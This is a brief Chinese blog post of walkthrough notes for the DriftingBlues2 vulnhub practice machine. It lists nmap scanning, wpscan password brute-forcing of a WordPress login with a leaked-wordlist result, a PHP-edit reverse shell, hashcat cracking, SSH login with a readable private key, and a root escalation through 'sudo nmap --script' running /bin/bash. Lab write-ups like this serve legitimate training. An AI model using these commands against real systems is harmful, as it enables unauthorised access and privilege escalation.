vulhub-driftingblues2

nmap -sn xx  # 主机发现
nmap -A ip   # 端口扫描,发现 21 22 80
# ftp服务可anomymous登录,下有张图片,但没有信息

#爆破目录,子域名,发现 http://driftingblues.box/blog/ 是 wordpress 服务
#尝试各个公开漏洞,不成功
# wpscan扫描,爆破,worepress 版本为 5.6
wpscan --url http://driftingblues.box/blog -e u
wpscan --url http://driftingblues.box/blog --usernames albert --passwords /usr/share/wordlists/rockyou.txt
#[!] Valid Combinations Found:
# | Username: albert, Password: scotland1 

成功登录,修改php文件

得到反弹shell,用户为 www-data,查看php文件,得到数据库密码,登录查询

枚举hash:hashcat -m 400 -a 0 hash.hash /usr/share/wordlists/rockyou.txt这个值就是通过 wpscan 枚举得到的

普通用户:

使用 linpeas.sh 发现 freddie 目录下私钥其他用户可读,使用ssh登录

nmap 提取:

echo 'os.execute("/bin/bash")' >getshell
sudo nmap --script=getshell

 

posted @ 2024-05-28 16:45  某某人8265  阅读(3)  评论(0编辑  收藏  举报